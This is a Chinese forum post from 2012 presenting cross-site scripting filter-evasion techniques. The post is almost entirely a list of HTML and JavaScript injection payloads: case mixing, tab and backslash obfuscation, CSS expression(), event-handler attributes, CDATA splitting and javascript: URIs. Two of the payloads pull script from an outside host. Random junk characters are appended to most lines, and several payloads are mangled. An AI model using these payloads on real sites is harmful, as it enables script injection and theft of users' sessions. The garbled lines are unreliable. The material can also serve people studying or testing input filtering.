找回密码
 立即注册
查看: 3608|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写2 z1 o6 N2 u$ V+ B# d

7 `) q& k. U/ c- }" n% ~ 9 l; t: [: ~6 ^, `7 |7 A# S

1 S3 O. {8 u# T- r" g    <sCript>alert(‘d’)</scRipT>$ o" S# \3 K7 {$ J/ Y8 ?

$ |8 b( x: z  {) o% _$ R. `" Z2. 利用多加一些其它字符来规避Regular Expression的检查* w. B/ A# `/ E. i5 a7 ]- |2 B
0 R3 W1 N. J( |0 l- h
    <<script>alert(‘c’)//<</script>
) k9 i8 Q+ a. w- a: o/ X, o! c* x8 N4 P/ n9 v. E" f. B
    <SCRIPT a=">" SRC="t.js"></SCRIPT>2 Y' X: b) h0 V9 @, s- h# d

3 X) C, i1 F. _% x3 t& L    <SCRIPT =">" SRC="t.js"></SCRIPT>
5 q  G& |: u0 O. Q# g( |' l& g& ^  \# Y( H
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>! Y; O/ W9 v! N- B! m
6 v) i& X, k6 s/ U( ^" ?; b) o
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
4 h- ]4 D- C6 q9 w  r( W- e" N9 j5 }. c
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
, t9 }' [, Q9 N. o
- T6 ?* ?6 n6 G/ s    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>& x& ^) u' v3 f/ i0 C  R/ V9 j
+ n3 O# L1 h& ]1 q
3. 以其它扩展名取代.js& e! r8 P% d0 ^: G. e1 w8 V/ [; ?

9 L! s0 X. _% o# E    <script src="bad.jpg"></script>
& K7 d8 Y: R: b) n* b
: C3 T# ?+ N" [4. 将Javascript写在CSS档里
( ]; e0 E: G$ ?! L2 ?- q# a9 W5 s  G1 Y( G, y  P' t# x3 D
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
+ n$ [( i# M1 g) g6 l. T' ^
+ E5 e- L0 `- ^# w2 \, [# k       example:
1 ?5 D1 v) T5 Z8 V& E1 d
+ L- ^( W  J  s  Y2 |2 Q* j          body {
# D2 C+ f0 |' K, b( v( {
8 Q' B; n2 M% ~( s1 n               background-image: url(‘javascript:alert("XSS");’)
: c) q+ D: f# n0 g7 R! i9 E7 I1 Z
! {/ @* @# [: O4 k- n( v          }/ a( F3 Z0 h2 s' f8 I7 U! D

+ G$ a9 H" B0 ]4 p  o5. 在script的tag里加入一些其它字符( J8 e8 }/ C# L2 x- V1 d

5 P9 S2 F1 K) B6 I2 ^/ c' u! i    <SCRIPT/SRC="t.js"></SCRIPT>
/ h; f' I5 ~6 l: Y8 q+ ]  N# [3 z. I9 A2 g" l8 @6 Q
    <SCRIPT/anyword SRC="t.js"></SCRIPT>
5 G* d4 J4 G8 y5 ?3 F/ R# w5 h! E. j! }& C( h( U4 W" I
6. 使用tab或是new line来规避
( q4 {0 `9 O& p- W+ M4 `4 z: U" t- O# N; F8 }% F# Y( a
    <img src="jav ascr ipt:alert(‘XSS3′)">* a3 o- n" l- ^$ n
# c! w$ a$ v4 h8 p6 t
    <img src="jav ascr ipt:alert(‘XSS3′)">  l/ a6 e9 k" M$ A6 U+ [
+ |- I9 E! v9 u, u  {2 A& E
    <IMG SRC="jav ascript:alert(‘XSS’);">, M1 a0 k$ U, L/ Q8 f, H8 ]

1 b/ P  h" s; R% `+ F         -> tag0 _9 E$ @7 h  G, H
# q( N2 e% M+ j3 q% a
         -> new line
/ r9 A5 H+ |$ V: V: l  e8 R$ P! }
7. 使用"\"来规避& i( a/ @8 H! [* l

, Z- C; t3 J6 J, W0 O) a0 Q    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
) O" q" h  {: a' N' L1 G3 i; l9 {
+ a3 o  Q  L9 V0 f8 l7 i1 p1 t    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# E6 Z. c6 z' J, t
& C9 m. Q7 M# ~7 P* d5 `; S+ I% F- B    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">$ a' ^4 W8 ^; [9 b6 l$ S' m
8 T0 [! D' p6 Z1 j$ F
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
. E* U0 }3 n% @# p1 h2 q
. X$ D- K# u  b& y( F* C# P    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>+ o. [3 N. a  B9 |4 v- f" ]" x; v/ O

; S5 ]; h( h& N! ]; X* I7 u8. 使用Hex encode来规避(也可能会把";"拿掉)2 ?  y) t/ X. ]8 b0 h2 b4 M
  C! n4 ^8 \! y, h. I
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
7 P! q( Z# [! k$ C3 H! j
: `# o7 ?7 Y2 _$ O$ e        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">: _4 @6 s6 g# B' Y. ]

, r; {+ h' N3 W  [3 c4 t. ], `    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
% r4 d* K1 \% Q' h
/ W) p' \; G$ \2 E1 V        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">. I/ S- G5 C) U. A6 D( W$ U. Y

* I1 {$ C' |/ g  l+ D! i3 ^/ G9. script in HTML tag+ H( @0 q( S# B# Y2 `+ @2 `( }- s7 s

. M* x" t9 e/ r& o9 h    <body onload=」alert(‘onload’)」>9 z0 G# b' {2 G! n& `

  w6 g* o, f- c7 a- h4 b% p        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload" |2 l0 s& b' Y0 A6 y( x# i! g

& ?9 u* I4 K' u9 O10. 在swf里含有xss的code, H) X% D, s3 n) X* X
1 a7 f) ^) x# o* g6 f
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>. r5 v0 _, r8 U$ B
" t' c* F* M6 r; t1 R! E$ c
11. 利用CDATA将xss的code拆开,再组合起来。) M3 e# `9 C& o' u0 P3 ?& H

1 t0 K4 b- A$ b  D* n6 [5 F( E- E    <XML ID=I><X><C>
0 U# P" A1 {3 @3 ~
& B5 |" ^- P; _! y  K# x    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>4 v/ h; y" k: ^" \0 ?6 Y6 L: a9 u

8 n5 t$ s: w6 z& M  c; ^+ ?5 E    </C></X>
7 j# Z8 `* v7 X" H& J" E, Y2 n8 [* d* E/ W) ^) _6 k0 Q9 T! U
    </xml>( g8 b% i7 t3 k% |8 ~+ e7 M

2 R/ J6 r  A- y: t& U: l# o    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>" T# l: w0 E* F( K) D* ~2 E. |
0 u' |+ Q7 k7 C. ~* E7 Q
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>3 ~: Z$ S' v# F, p
! c# R7 C  N/ A4 X5 `& `
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 s$ v4 C+ f" a1 u7 }8 M6 l) e
1 m  s1 V& e0 }6 B: l0 j1 o$ w' H& W5 |1 P12. 利用HTML+TIME。
$ }4 R/ J/ N2 [  r3 ~( @9 w+ |/ u; c9 l7 ^* _) K! P
    <HTML><BODY>
2 D' z& ^( K8 ]2 Y$ R7 J  C. D' g4 c* ?: X. e* B* N0 R% \
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">; e; C- \! T% }" Q' F# H1 i; I

- B' a- T8 m( L8 W. j. ^    <?import namespace="t" implementation="#default#time2">
; l  o  ^. u# E- \
; B! ~" W" [& O% Z7 P    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
: p/ E% |6 v1 v. h& t+ V# [3 ^2 v9 ^; q- c3 D
    </BODY></HTML>
; `9 j( v1 U5 E! j
- Q8 }9 O7 d+ U9 @$ \& w; V6 }* d13. 透过META写入Cookie。
8 T/ l% E: o6 J( a  c
9 {" i+ o" N3 P1 Y' b6 x    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">9 ?; u* U& O" u6 u8 H) m6 s4 M

6 |& [4 s8 a' l5 ^9 n; q14. javascript in src , href , url% Z  p0 w. R2 p( j2 a" K9 `

/ M0 x9 g1 ?& L2 U% Z3 l    <IFRAME SRC=javascript:alert(’13′)></IFRAME>' _- O: U% m" G+ @9 R

4 j, G- e$ K" J; \0 ~. W- D    <img src="javascript:alert(‘XSS3′)">
$ b0 a5 R  N2 X; X4 d& \
$ m' h9 l4 U9 M<IMG DYNSRC="javascript:alert(‘XSS20′)">) O8 O! r- R3 w! L7 Z2 u5 ~

3 f% J; S, q9 a# u+ U: {( v    <IMG LOWSRC="javascript:alert(‘XSS21′)">3 Q' N* s4 _! Q0 y* h9 n+ e
2 I. N' `7 [& s4 a2 I5 A8 c
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
% m3 h( i& c4 I* Y! f5 Y8 G# s4 n1 Q6 H2 B. w
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
8 M4 v, H# E- j) w. z* y! K" m, o2 E5 n# Z3 o
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">% O. s+ v, M8 Z" c) R

8 B0 l+ R) p) \+ [    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
% A2 F! }  e* H/ s# d% p" S& A$ f  ]+ o; k
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}" e0 k0 P7 ]. _8 C" k4 l

+ Z# u) w& D) H) f+ g4 R# X    </STYLE><A CLASS=XSS></A>
* x$ s% j# @: e. u) {" _8 ]* I+ @3 f4 P  s; k' g3 {9 u! J
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
, R8 w. a( ^$ X
6 Y1 f1 U: n/ N( F5 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表